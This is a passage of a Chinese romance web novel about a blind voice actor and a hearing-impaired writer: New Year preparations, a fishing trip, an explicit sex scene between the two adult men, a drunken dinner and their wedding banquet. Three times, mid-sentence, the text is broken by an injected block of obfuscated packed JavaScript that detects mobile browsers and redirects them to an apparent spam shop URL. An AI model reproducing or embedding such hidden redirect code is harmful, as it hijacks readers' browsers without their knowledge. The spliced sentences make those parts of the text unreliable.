易秋光一直听着阳台上的水声,在水声停下,脚步声响起的时候,他终于把药喝光了,当脚步声走到他身边,易秋光立马笑着把杯子往前递:“喝完了。” “好棒,”乔辽揉了揉他的头发,“我们秋光真是太棒了。” 被乔辽夸奖过的易秋光瞬间变得干劲十足,在乔辽洗完澡后,俩人一起把那些东西收拾了一下,家里也瞬间有了年味。 弄完这些后,易秋光走到抽屉边,他打开抽屉从里面拿出两个红包,红包封面写着一个很大的“囍”字。 易秋光把红包递给乔辽一个:“这个红包是我前几个月买的,那个时候正好碰上同事结婚,我家里又没什么能用的红包,干脆就买了这个,一买还只能买一大包。” “反正以后还能用的,”乔辽说,“买多了也没事。” “是啊,我也是这么想的,但这一包确实是有点太多了,”易秋光一边说着,一边又从抽屉里拿出一支记号笔,“买红包的时候,我用手机拍了两张照片,然后用无障碍识图软件看了一下,那个软件说,这个红包有一面什么都没有。” 乔辽看了看手里的红包,说道:“确实是什么都没有。” “马上就会有什么了,”易秋光把记号笔递给乔辽,说道,“带着我写字吧,写什么都行,就写在红包没有字的那一面。” 乔辽打开笔盖,接着把笔放到易秋光手里。 他握住这只手,带着易秋光慢慢写下四个字:平安喜乐。 “另一个你随便写吧。”易秋光笑着对他说。 乔辽想了想,在另一个红包背面写下:长长久久,新年快乐。 易秋光把这两个红包用剪刀戳出一个小洞,然后用两根红绸系上,紧接着,他拿出一根光秃秃的树枝。 “这是什么?”乔辽问他。 “你送给我的礼物啊,”易秋光说,“就是那根细枝,我有好好地收着。” 乔辽愣了愣,说道:“我还以为你已经丢了……” “怎么可能,这可是你送给我的。”易秋光把系上红绸的红包递给乔辽,“交给你了,把红绸系到细枝上,系好看点啊,我要发微博的。” “好。”乔辽拿着那根细枝,慢慢把红绸缠上去,再系紧。 他拿着细枝轻轻晃了晃,挺好的,不会掉,好不好看什么的……他其实也不太确定。 再然后,易秋光拿来一个透明的花瓶,他让乔辽把细枝放进去,然后把这个花瓶摆到电视柜那里。 易秋光问他:“家里现在是不是挺好看的?” 乔辽说:“挺红火的。” “行,”易秋光拿出手机,打开相机,他说,“你对着前面比个剪刀手,我也比个剪刀手,咱俩拍个照。” 乔辽听话地比了个“耶”,易秋光伸出手后,突然握住乔辽伸出的那两根手指。 紧接着,易秋光说道:“牵紧我。” 画面在此刻定格。 易秋光问他:“能发微博吗?” “能啊,”乔辽说,“但是……你真的要发微博吗,发在三季的那个账号?” “你怕吗,”易秋光望着他的方向,说道,“朋友圈都是熟人,微博不是。” 乔辽抬手揉了揉他的头发,笑着说道:“我不怕,就算读者知道我是谁也没关系,读者喜欢的是我的文字,和我是谁没关系。” “那我就更不怕了,我是配音演员诶,听众喜欢的是那些角色,和我也没关系啊,更何况……我这也不是什么人人喊打的事吧,”易秋光说,“我就是没什么安全感,总觉得,要是我把你拉进自己的生活里,被更多人知道,只要这样,你就再也不会离不开我了,就算你真的要离开,‘三季’这个名字,也会一直跟着‘故听’,这个想法是挺自私的,你要是不愿意,那我就不发了。” “这有什么不愿意的,”乔辽拉着他坐到沙发上,接着就躺到易秋光腿上,搂着这人的腰,“我巴不得你发呢。” “那我发了啊,”易秋光扒拉着屏幕,打开微博后,开始编辑,“写个什么呢?” “不知道,”乔辽说,“我最不会写的就是文案。” 易秋光想了想,又问:“你刚才在红包上写的什么?” “你的那个红包上面,写的平安喜乐,”乔辽说,“我那个上面,写的长长久久,新年快乐。” “为什么我的红包上面只有四个字?”易秋光“啧”了声,“你懒得写字啊?” “你怎么误会我呢……”乔辽用脑袋蹭了蹭易秋光腹部,“平安喜乐就是我对你的祝福,只要你好好的,那就一切都好。” 易秋光不说话了,紧接着,乔辽听见他的手机开始朗读。 电子音说着:一切都好,每秒都好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140594|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “微博发出去了,”易秋光用手抬了抬这人的脑袋,“去床上睡觉。” “等下啊,我转发一下。”乔辽拿出手机,点开易秋光的微博。 转发的时候,乔辽还带上了一句话:一直都好,你是最好。 易秋光估计还是有点担心的,这人和乔辽回到床上之后,就一直没再拿起手机。 乔辽靠在他怀里,时不时就戳一戳这人的脸,问道:“想什么呢?” “怕被听众骂,”易秋光顿了顿,又说,“我抗压能力不行。” “不会的,”乔辽笑着说,“听众骂你干什么,别乱想。” 再然后,他听见易秋光叹出一口气,这人的眉头也微皱着。 乔辽抬手碰了碰他的眉毛,接着又轻轻碰了碰那个横眉钉。 他问易秋光:“你这个眉钉是什么时候打的?” “来江城半年的时候打的,”易秋光笑着说,“那个时候我总是皱着眉头,很多时候我根本就没意识到,皱眉这件事,就好像是从我睡醒的那一刻开始的,也有可能,我睡着了也是这样,工作室里的同事总会问我是不是不开心,我每次都说没有,但其实,我确实挺不开心的。” 乔辽在这人脖子上亲了亲,问他:“所以……你就打了眉钉吗?” “嗯,”易秋光说,“刚打眉钉那几天,其实还挺疼的,我每次一皱眉都会疼得不行,但这样也好,至少,疼痛能提醒我,不能再皱眉了。” “但你还是会皱眉,”乔辽碰了碰他的眉毛,“比如现在。” “我现在不是正在犯愁吗……”易秋光拿起手机叹出一口气,“行了,我准备好了,让我来听听,有没有人骂我。” “肯定没有,”乔辽也拿起手机,“那让我来看看,有没有人骂我。” 易秋光的手机不停朗读着评论,乔辽也把每条评论都认真看了一遍。 “一个开骂的都没有,”乔辽说,“大多是祝福,还有一部分是没明白什么情况,另一部分是问我们是不是有什么新的合作。” “我这边还好,”易秋光顿了顿又说,“因为林再川评论了。” 乔辽问他:“评论的什么?” 易秋光直接把手机递到乔辽眼前,屏幕上显示着林再川的评论:祝你们幸福。 “挺好,”乔辽点了点头,“是个好人。” 看完评论,乔辽又去私信看了眼,有些读者表示,想看他和三季老师的故事,问他能不能开本新文,就写自己的甜蜜爱情。 甜蜜吗,当然甜蜜。 但这个故事……也有不那么甜的时候。 写易秋光和他的故事吗,或许,他真的能写出来。 “我准备开新文了,先存稿吧,”乔辽说,“等番外写完就开始存。” “新文写什么?”易秋光问他,“又是互殴啊?” “应该是吧……但也不是,”乔辽说,“写我们两个的故事。” “行啊,那你好好写,”易秋光笑着说,“给我写温柔点,就是那种全宇宙最温柔的人。” 乔辽沉默一会儿,看着这人说:“既然要写我们的故事,那是不是得写实一点?” “乔辽。”易秋光只是这样喊了他一声。 “诶,最温柔的三季老师,”乔辽老实说道,“你放心,我落笔心里有数,你的温柔人设肯定稳了。” 61. 是鱼 稳了吗,估计是没有。 乔辽落笔没个轻重,全是真情实感,新文存稿写了几天,存了好几章,番外的影子倒是没见到。 易秋光有时候还会问上一句,乔辽就把原因怪到钓鱼上,他说:“因为还没钓鱼,所以写不出来。” 终于,他等到了易秋光有空的时候,那天正好是个大晴天,这俩人一吃完早饭就出门了,还带着那一大堆钓鱼的玩意儿。 因为东西太多,郭宝卓又成了司机,这人倒也乐意,在乔辽说出那句“第二天去钓鱼”的时候,郭宝卓就立马去店里买了两把钓鱼竿,乱七八糟的也买了一大堆。 郭宝卓在网上搜了搜,最后找了一个本地人都爱去钓鱼的地方。 应该怎么说这个地方呢。 土很多,树很高,水很深,风很大。 他们四个人排排坐着,光是绑鱼线这件事,就让他们对着视频忙活了半天,接着是挂鱼饵,郭宝卓在旁边一直捣鼓,先是把饵料加水,团成一个球,然后再捏着鱼钩,不停往球上蹭。 但这鱼饵怎么蹭都挂不上鱼钩,徐颂良瞥了郭宝卓一眼,说道:“你弄的饵料跟窜稀一样,能挂上才是稀奇了。” 下一秒,这人掏出一个小盒子。 “看吧,还是得听我的,”徐颂良自豪地说,“万能鱼饵,蚯蚓,你就用吧,一钓一个准。” 准不准的,乔辽不知道。 反正他在那里待了一下午,一条鱼都没钓到,郭宝卓嘀咕了一下午,大概是想要和那些鱼沟通一下,徐颂良很淡定,没上鱼就盯着浮漂,盯最后,直接坐在那儿睡着了。 易秋光的感应浮漂倒是响过,但这人站起来收线的时候,鱼一下子就脱钩跑了。 乔辽看着易秋光笑着收线,空着的鱼钩往他面前一甩,挂上了乔辽的毛衣。 “上鱼了吗?”易秋光高兴地问。 “上了。”乔辽说。 “什么鱼,”易秋光兴奋起来,“让我摸摸。” “摸吧,”乔辽牵起他的手,摸上自己的脸,“是美男鱼。” 易秋光沉默了好久,郭宝卓和徐颂良的笑声也持续了好久。 挺难得的,易秋光这次没选择打他,只是对着他笑了笑。 乔辽也是过了几天才知道,原来易秋光没选择动手,是因为这人正在琢磨新的奖励。 在床上的易秋光挺凶的,这人摸了摸他的脸,问道:“你上次不是说,你是鱼吗?” “对……”乔辽盯着易秋光手里的东西,心里直犯怵。 虽说这玩意儿的长度和易秋光的长度差不多,大小也挺接近的,但这东西怎么说都是没有温度的。 不疼吗,真的不会疼吗,真的真的不会疼吗? “我怕疼。”乔辽果断开了口。 “不怕,你过来,”易秋光的手是有温度的,这人把乔辽拉到怀里,接着压了压他的后背,“我先帮帮你,待会儿就不会疼了。” 易秋光的帮忙是温柔的,但也只是一开始,到了后面,乔辽就只会一边喘气一边哭了。 易秋光把手收回来后,拿来一个枕头递给乔辽,接着就贴在这人耳边说道:“趴到枕头上,然后把腰抬高。” 乔辽听话照办,下一秒,他的喘息声都变得颤抖。 “你好乖,”易秋光笑着摸了摸他的脑袋,手里的动作也变得越来越快,“我刚才已经帮过你了,你现在应该不会疼……我能听出来,你好像还挺爽的” 乔辽也是没用过这种玩意儿,这东西一看就挺硬的,但用上之后,其实也还好。 等等,这东西怎么还有温度啊……哦我的天,怎么还会震动! 但确实还挺爽的。 身后人抬了抬他的腰,轻声说道:“鱼都是有尾巴的,你现在这么爽,应该也很想摇摇尾巴吧,别绷得太紧,放松一点,我又看不见。” 乔辽是很听话的,但到了最后,他实在是受不了那个会发热的东西了。 他扭头看向易秋光,伸手拉住这人的手腕,说话都变得断断续续:“你帮帮我好不好……秋光……别用这个了,用你的。” “不行,”易秋光带着乔辽换了个方向,然后搂着这人的脖子亲了亲,“现在换你帮我了,但你身上那个东西,还没到拿出来的时候。” 越到后面,乔辽哭得越厉害,易秋光每次都会帮他擦擦眼泪,然后再夸一夸这个人。 易秋光说:“你很棒,今天这种触碰你还喜欢吗?” “下次不要了……”乔辽的速度越来越快。 易秋光的喘息声也变得更加强烈:“但我还挺喜欢的……你今天的反应特别好,我很爱听。” 最后,乔辽趴在他身上不想动,但鱼是会忍不住摆尾巴的。 鱼的摆尾是缓慢的,但有时候,速度也会变快,大概是理智已经无法控制,剩下的就只有本能了。 易秋光很喜欢这种时候,也喜欢在这种时候去慢慢触碰。 过了好一会儿,易秋光终于停下触碰,把那个东西拿了出去。 紧接着,这人带着乔辽换了个方向,易秋光在乔辽后背上亲了亲,说道:“现在轮到我了。” 易秋光的温度才是最好的体验,乔辽还是更喜欢这种紧贴着的触碰。 但是……刚才那种会震动的玩意儿,其实也挺好的,偶尔用一用也可以,还能给生活增添一些情趣。 乔辽刚想到这里,易秋光突然在他肩膀上轻咬一下,问道:“是不是走神了,你在这种时候也能走神吗?那说明我还是不够努力啊。” 怎么可能不努力,易秋光简直是太努力了。 乔辽握着易秋光的胳膊晃了晃,接着就用带着哭腔的声音断断续续地说道:“不要了……你慢一点。” “慢不了,”易秋光微低下头和他贴了贴脸,“你越哭我越兴奋。” 易秋光是兴奋了,乔辽也哭得停不下来了。 当易秋光停下来的时候,乔辽也不想再动了,他趴在床上有气无力地说:“我想喝水。” “我去给你倒。”易秋光笑着说。 这人先是给他倒来一杯水,接着又端来一盆水,给乔辽把身上擦了擦。 上次是乔辽弄得他身上到处都是,这次换成他了…… 运动过后的夜晚就是睡得香,但易秋光还是起了个大早,乔辽打着呵欠送他去工作室,然后就待在休息室里老实码字。 在吃午饭的时候,易秋光突然就不对劲了。 这人一边吃饭一边深呼吸,就跟喘不上气一样,乔辽吓得不行,问他是不是哪里不舒服。 易秋光喝了口水,指着胸口说:“这几天总觉得呼吸不太顺,想大口喘气都难。” “这几天?”乔辽问他,“到底是几天?” “三天吧。”易秋光说完又深呼吸一口气。 乔辽一听就慌了,于是,易秋光临时请了个假,去了医院。 一通检查结束后,易秋光觉得呼吸更困难了,但所有检查的结果都很好,医生说,易秋光出现这种情况是因为最近压力太大,应该是工作太忙,情绪太焦虑导致的。 听见医生这么说,易秋光也不吭声了,他最近确实是挺忙的,因为他想在过年的时候多陪陪乔辽,但在高强度的工作之后,身体难免会有些吃不消。 从那天开始,乔辽盯他盯得更紧,甚至连晚上的运动时间都取消了,乔辽说,要好好休息好好睡觉,那样才能有个好身体。 但培养感情也很重要啊…… 易秋光不服。 易秋光半夜扒他衣服。 乔辽晚上睡觉摘了助听器和耳蜗,感觉到有人在扒自己的衣服时,他还以为是遇到了鬼压床,第一反应就是瞪大眼睛。 在发现扒自己衣服的人是易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140595|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋光后,乔辽选择把这人搂进怀里,一下下拍着哄睡。 睡吧,一天天的脑子里都在想些什么呢,睡觉,睡着了就什么都不想了。 易秋光依旧不服,这人试图反抗,但最终还是困意赢了。 他在乔辽怀里睡得很香,完全忘了自己刚才扒衣服的时候有多带劲。 时间就这么晃到过年那天,零点刚一过,易秋光的手又开始不老实了,乔辽正准备和以前那样,把这人搂进怀里慢慢哄。 但易秋光这次不愿意了,这人下了床,摸索着拿起桌上的助听器和耳蜗,递给乔辽示意这人戴上,紧接着,易秋光开口说道:“不管是你帮我,还是我帮你,你总得给我一个吧,我憋了两年多!你还让我再忍着啊?我不忍了,乔辽!我真的要生气了!” 好凶。 大过年的……还是别让易秋光生气了。 乔辽把这人带回床上,接着亲了亲他的脖子,说道:“那我来了。” 估计是好几天没有在夜里培养感情,易秋光就跟怎么要都不够一样……这个夜,都快要熬穿了。 新年第一天,两个人就是在家里一直睡觉,市区禁鞭,他们也不会被什么动静吵醒,但手机会响。 在晚饭点的时候,郭宝卓发来消息,还连续发了好几条,生怕乔辽看不见。 这人先是发来一个定位,然后说他在外面订了个年夜饭,让乔辽快带着易秋光过去吃饭。 再然后就是一条语音。 郭宝卓说,这条语音要点开播放,放给易秋光听就行。 易秋光本来还在睡着,乔辽挨他太近,当语音条被按下的那一刻,郭宝卓说话的声音很快就冲了出来。 身边躺着的人立马“诶”了声,并精准地抓住了关键词。 吃饭。 年夜饭。 硬菜! “起床,”易秋光说起就起,“穿新衣服去吃好吃的。” “你醒了啊,不睡了吗?”乔辽揉了揉眼睛,他扒拉一下屏幕看了眼时间,然后把郭宝卓刚才那条语音转了个文字。 郭宝卓说:秋光啊快来吃饭啊,年夜饭,可好吃了,都是硬菜! 怪不得易秋光说起就起,原来是被年夜饭吸引。 “我早就醒了啊,就是赖床懒得起,”易秋光站在衣柜前扒拉衣服,他问乔辽,“我今天穿哪一套?” “都可以啊,你穿哪套都好看。”说完这句,乔辽点了点手机屏幕。 回复郭宝卓一句:马上来。 易秋光还在衣柜前站着不停扒拉,最后,他把乔辽那件毛衣拿了出来。 “我就穿这个,然后再穿你上次给我买的那件新羽绒服,”易秋光问他,“你想穿什么?” “我想穿和你身上这套差不多配色的,”乔辽也下了床,走到易秋光边上抱着他亲了亲,“和你穿情侣款。” “我还记得,我有套衣服在你家放着,那套衣服其实穿着挺舒服的,”易秋光问他,“等哪天有空了去你家一趟,我把那套衣服拿回来。” 这段时间,乔辽一直都在易秋光家里住着,根本就没回过自己家。 刚开始住下,他只是想照顾易秋光,后来易秋光彻底好起来了,一点感冒症状都没有了,但乔辽又不想走了。 他不提这事儿,易秋光也没让他回家。 乔辽就这样一直在易秋光家里住着,穿的用的全是易秋光的,这人都快忘了自己还有个家。 乔辽“嗯”了声,说道:“行啊,今天就回去拿也可以,正好把那些还没用的新年布置带过去,晚上就在我家里住,秋光哥哥还能陪我一起把家里布置一下。” “好,答应你了,”易秋光笑着说:“再喊我一声。” “秋光哥哥,”乔辽揉了揉他的头发,“秋光哥哥最好了。” “那必须的,”易秋光说,“秋光哥哥最爱你了。” 62. 文名 洗漱一下花不了多少时间,这俩人出门后,直接在小区门口叫了辆车。 郭宝卓发来定位的地方离这里有点距离,但也不算远,这一路上,郭宝卓还催了两次。 第一次催的时候,这人还只是问他们快到了没。 第二次催的时候,这人直接发来一个视频通话。 乔辽第一眼看见的是一桌子的菜,接着就是呲个大牙正在乐的郭宝卓,这人站得有点远,拿手机的人大概是徐颂良,这镜头还有点晃。 下一秒,郭宝卓板起一张脸,开始比画:菜都快冷了,你俩到哪儿了? 乔辽点了点屏幕,反转镜头,接着开口说道:“我们在路上,马上就到了。” “那我们到门口来接你们,”这是徐颂良的声音,“郭宝卓!别在那儿演戏了,他们快到了,我们去门口接一下!” 这句话说完后,视频挂断。 一个拐弯后,乔辽和易秋光也下了车。 郭宝卓和徐颂良已经在门口等着了,郭宝卓现在满脸都是笑,他举高双手一开一合的,在头顶用手不停地放烟花:“辽啊新年快乐啊,秋光啊你也新年快乐啊!” 徐颂良在边上站着笑,看向郭宝卓的眼神里都是宠溺。 “新年快乐。”易秋光笑着说道。 “快乐快乐,”乔辽对郭宝卓说,“吃饭去吧,你不是说菜都冷了吗?” “谁说冷了,我没说啊,菜还热着呢,刚上没多久,”郭宝卓开心得不得了,“我们好久没这么正经地聚在一起吃饭了,今天要不要喝点?好的喝点。” 这是什么自问自答啊…… “行,过年嘛,”乔辽说,“喝点。” 但很多事情,就是很难有个准数的。 乔辽喝多了,郭宝卓也喝多了,俩人喝完就开始坐在那里比比画画的,徐颂良坐在边上给易秋光翻译,最后,徐颂良愣了一下,看向易秋光说道:“乔辽说,他要吐了。” “忍住!”易秋光扶着乔辽站起来,他问徐颂良,“厕所在哪儿?” 徐颂良正准备带着这俩人过去,郭宝卓突然把垃圾桶抱到怀里,开始猛吐,没了办法,徐颂良只能说出一个大概的位置。 易秋光带着乔辽往厕所那边走,这人就跟挂在他身上似的,走两步还会和他贴贴脸,再问一句:“你要带我去哪儿啊?” “带你去厕所吐,”易秋光“啧”了声,“你酒量怎么就这么点,比我还差。” “你怎么这么说我啊……”乔辽的语气一下子就委屈了,“那我不吐了,我再回去喝点,你带我回去,我不去厕所了。” “别喝了,”易秋光问他,“我们出门前不是说好了吗,你说要带着我回你家的,那我们还得先回我家一趟,对不对,我们要先把那些布置家里的东西带上,然后才能回你家啊。” “秋光哥哥……”乔辽说话都带上哭腔了。 “诶,在呢在呢,”易秋光问他,“怎么了啊,怎么又委屈上了。” “我忍不住了,我怕吐到你身上,”乔辽捏了捏易秋光胳膊,“快快快快,去厕所!快啊快啊快啊。” “应该就在这附近,”易秋光摸索着去扒拉乔辽的眼睛,“你倒是睁眼看啊!我又看不见!” “哦,对哦。”下一秒,乔辽干呕一声。 “看了没啊,往哪边走,”易秋光轻拍两下乔辽后背,“忍住了啊,等会儿去厕所吐!” “看了,”乔辽又干呕一下,“厕所不在这边……” “那在哪儿啊!”易秋光都开始急了。 乔辽揉了揉他的头发,说道:“别急别急别急啊。” 怎么可能不急,易秋光都急得快揍他一顿了,几秒后,乔辽似乎是回了个头。 紧接着,易秋光听见这人说道:“啊,走过了,厕所在后面。” 终于,他们找到了厕所,乔辽也终于可以大吐特吐了。 易秋光一边叹气,一边扶着已经吐傻的乔辽往回走,回到包间后,易秋光最先听见的就是徐颂良的声音。 这人说:“郭宝卓睡着了,我叫了半天,这狗玩意儿没反应啊。” “让他继续睡吧,乔辽刚才吐得厉害,我就先带着他回家了,”易秋光“啧”了声,“这狗玩意儿也没反应,已经吐成傻子了。” “辛苦你了……”徐颂良说完这句,又说道,“我也挺辛苦的,真是辛苦我了。” “那我和乔辽就先走了啊,”易秋光说,“新年快乐,你们也早点回去休息。” “好,”徐颂良说,“新年快乐。” 易秋光一手拿着盲杖,一手扶着乔辽,走到半路上时,又找服务员问了个路,顺便要了个塑料袋。 这个塑料袋是拿着备用的,免得乔辽等会儿突然想吐,到时候就直接用塑料袋往他头上一套。 但还好,回家的这一路上,乔辽没说要吐的事,就是一直靠在易秋光肩膀上睡觉,到了下车的时候,乔辽还是没醒。 易秋光都开始琢磨了,要不……他把这个人背回去? 其实也行,反正这段路他熟悉,应该不会把乔辽磕着碰着。 易秋光都决定好了,下一秒,这人突然就醒了,乔辽迷迷糊糊地问道:“到了啊,秋光哥哥,我们到家了吗?” “到了,下车,”易秋光先下了车,等乔辽下车后,他又问这人,“还想回你家吗,想回去的话,我们就回去把那些新年布置拿上,你忍一忍,先别睡了。” “好,我一定不睡。”乔辽是这么说的。 他也确实没睡,但这人就是坐在沙发上一直愣着。 易秋光喊了他一声,说道:“我把新年布置拿上了,还帮你拿了备用电池,干燥盒和充电仓我也拿了,走吧。” “拿上了,走吧,”乔辽“嗯”了声,又说,“好,走。” “你到底走不走,你不走我走了啊,把你家密码发给我,”易秋光朝他的方向望了眼,“等你酒醒了就回家找我,我明天还要去工作室,晚上得早点休息。” 也不知道是哪句话说醒了乔辽,这人突然站起身,说道:“你别走,我起来了,我们一起走。” “那走吧,”易秋光朝他伸出手,“牵着我。” 晚上还是挺冷的,乔辽走路也慢慢的,他紧贴着易秋光,走着走着突然问了一句:“我们现在……是和好了吗?” 易秋光笑着问他:“你不想追我了?” “想,”乔辽顿了顿又说,“但我想和你在一起,我想做你男朋友。” “你一直都是啊,”易秋光说,“从我们在一起的第一天开始,你就是我男朋友了,我一直都觉得,我们从没分过手,只是异地了一段时间,你觉得呢,男朋友。” 乔辽沉默了很久,他想到好多好多以前的事,再然后,他看向身边的人,轻声说道:“嗯,我也觉得……我们从未分开过。” 易秋光笑着捏了捏他的脸,接着就站在路边叫了辆车。 在等车过来的时候,易秋光不止一次让乔辽站好,这人就跟身上骨头全没了一样,过一会儿就往易秋光身上一靠,要么就是往身后的树上一靠。 上了车后,这人又睡了,乔辽就跟身上自带闹钟一样,在快要下车的时候醒了过来,这人一开口又是那句:“到了啊,秋光哥哥,我们到家了吗?” “到了,你睁眼了没,”易秋光带着他下车,接着就用盲杖在地面划动两下,“我对这边不熟悉,你带我回家。” “交给我吧,”乔辽沉默两秒,又说道,“稍等一下,我看看我们在哪儿。” 行吧,这人的酒还是没怎么醒。 但乔辽还是好好地带着易秋光回了家,回到家后,乔辽先是站在门口愣了一下,接着就问身边的易秋光:“你家装修了啊?” “嗯,”易秋光已经懒得解释了,“你快进来,去洗个澡然后睡觉。” “什么时候装的,”乔辽笑着说,“装得和我家里一模一样。” “是吧,我厉害吧,”易秋光把手里的袋子递过去,说道,“你的干燥盒和充电仓都在里面,备用电池在我裤子口袋里。” “谢谢秋光哥哥,”乔辽笑着说,“让我摸摸电池。” “摸哪儿呢!”易秋光一巴掌拍开乔辽的手,“老实点,先去洗澡。” 乔辽瞬间老实,这人去洗澡的时候摘下了助听器和耳蜗,在进浴室前还亲了亲易秋光。 易秋光估计着,这人洗完澡肯定就要去睡觉了,他干脆慢慢摸索着,把那些新年布置全都摆好了,乔辽洗好澡出来的时候,走到客厅还愣了一下。 这人重新戴上助听器和耳蜗,问易秋光:“好快啊,过年了啊。” “滚去睡觉吧,”易秋光往他脑袋上拍了一下,“等你睡醒了再和我说话。” “先不去睡觉,”乔辽牵上他的手,说道,“我先带你去洗澡,这个浴室大,我能看着你洗。” “我不会摔的,”易秋光说,“你先去睡觉。” “那不行,”乔辽拉着他往浴室走,“我要看着,等你洗好之后,我们一起去睡。” 乔辽确实什么都没干,就是搬了把椅子,坐在浴室里看着易秋光洗澡,洗完澡后,又帮易秋光换上家居服,最后,他们一起回了卧室。 这样的日子肯定还会继续很久,这样的日子会是永远,其实就是很普通的日常,但只要有彼此陪在身边,就算是普通日子,也会觉得非常幸福。 这是易秋光的心里话,这些话,是他在乔辽生日那天说出来的。 那天来的人很多,包间里的座位全都坐满了,有一大半是易秋光工作室的同事,还有一些是郭宝卓的同事。 易秋光的那些同事,乔辽全都见过,林再川也来了,这人还包了一个大红包,他说,他能看出来,易秋光现在是真的很幸福。 郭宝卓的那些同事,乔辽也都见过,虽说见的次数不算多,但乔辽知道,他们都是很好的人。 人多确实很热闹,易秋光也把这场属于他们的婚宴办得很好。 那天的他们穿得和平常没什么两样,郭宝卓还说,他们这穿着,看着像是去参加年会的,还是那种特别敷衍的年会。 不正式,也不出众。 但所有人都在祝福他们,在这场婚宴上,他们就是主角,这俩人脸上的笑也一直没下来过。 这场属于他们的婚宴进行到一半的时候,郭宝卓流着猫尿,牵着徐颂良走到乔辽面前。 流着猫尿的郭宝卓递上一个大红包,哽咽着说道:“兄弟,你要好好的。” “我很好……”乔辽收下红包,说道,“谢谢。” 徐颂良也拿出一个红包,他问乔辽:“易秋光呢,我这个红包就给他了,你拿两个是不是不太好啊。” “他在那边和同事聊天,”乔辽往身后看了眼,然后指了个方向,笑着说道,“在那边,你过去找他吧。” “突然就觉得你长大了,”在徐颂良走了之后,郭宝卓还是在哭,“你不是那个会尿裤子的乔辽了,你是个大人了,要一直幸福下去啊兄弟!” “会的会的,”乔辽拍了拍郭宝卓肩膀,“不哭不哭啊,流满脸尿,难看死了。” 郭宝卓不听,郭宝卓抹泪。 婚宴快要结束的时候,他们还一起拍了大合照,乔辽怀里抱着一捧粉色的花,易秋光怀里抱着一捧蓝色的花,过来参加婚宴的人站在他们身后,每个人手里都提着易秋光买的喜糖,喜糖盒子是蓝粉渐变色的。 易秋光说,他觉得乔辽是粉色的,爱哭爱委屈,但很柔软。 蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140596|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色是有安全感的颜色,就像天空一样,不管什么时候,天空永远都在,安全感也会一直将他包裹。 易秋光这几天都住在乔辽家里,他对乔辽家里的环境也越来越熟悉了。 婚宴那天晚上,易秋光跟着乔辽回了家,那天晚上,FT也上线了。 易秋光躺在床上听着FT,乔辽坐在桌前把番外发了出去。 新文存稿也够了,他正琢磨着,要不就在今天,在这个好日子里,把新文开了。 躺在床上的人喊了他一声,问道:“你今天吃饱了吗,我点的菜怎么样?” “我吃饱了,”乔辽回头看着他,“超好吃。” “那就好,以前我们两个沟通还不方便的时候,我总想着你爱吃什么,我每次都只能听你动筷子的声音,听见你筷子动得频繁,就觉得你是爱吃那些菜,我一直觉得,我们两个的口味是差不多的,”易秋光说,“在我们重新遇见之后,我带你去的那些餐厅也都是我爱吃的,我想着,既然我爱吃,那你肯定也会喜欢,所以就总想着带你去尝尝,以后,我还想带你去吃更多好吃的。” 乔辽其实对饭菜不挑,但易秋光爱吃的那些菜,确实也很好吃,他笑着说:“那必须的,你要是不带我去吃,那我就要开始哭了。” “哭吧,靠在我怀里哭,”易秋光笑了笑,说道,“我觉得吧,我应该把你养得挺好的。” 乔辽“嗯”了声,说道:“我也把你养得很好,你没以前那么瘦了。” “你也是,”易秋光说,“摸着都圆了。” 嗯?啊?啊!!! 乔辽立马站了起来,一下子躺到地上,做了五十个仰卧起坐。 他准备再接着做五十个,但手机突然响了声,易秋光往桌子那边望了眼,说道:“有人给你发消息了。” “我看看。”乔辽起身走到桌前,拿起手机。 消息是郭宝卓发来的。 这人发来一条视频,乔辽点开视频后,先是听见特别温馨的音乐,但视频内容……是易秋光往他头上打了一巴掌。 这个视频是婚宴的时候拍的,乔辽一个劲地往易秋光碗里夹菜,这人怎么吃都吃不完,最后直接往乔辽头上打了一巴掌,说道:“别夹了,其他人还吃不吃了!” 躺在床上的易秋光偏着头听声音,然后问乔辽:“你在看什么啊,听着还挺温馨的。” “郭宝卓找打呢……”乔辽说,“他发给我一个视频,拍的你和我,就是吃饭的时候,我给你夹菜来着,你吃不完了,往我头上打了一下。” “疼不疼,”易秋光扒拉着手机,抬头问乔辽,“我应该没用多大力气……” “不疼,”乔辽笑着说,“那是你给我的奖励。” 易秋光点点头,说道:“真乖。” 乔辽看着床上的人,过了一会儿后,他走到衣柜前,打开柜门找了找。 然后,他把那条铃铛手链找了出来。 乔辽摸了摸这条手链,接着拨动一下上面的铃铛,铃铛无声,但他现在,已经不会再像以前那样难过了。 他找出一把剪刀,把铃铛的开口处打开了些,然后把里面的纸弄了出来。 确定里面没有纸之后,乔辽把开口处捏紧了些,他再次拨动铃铛,这次,他听见了清脆的铃铛声。 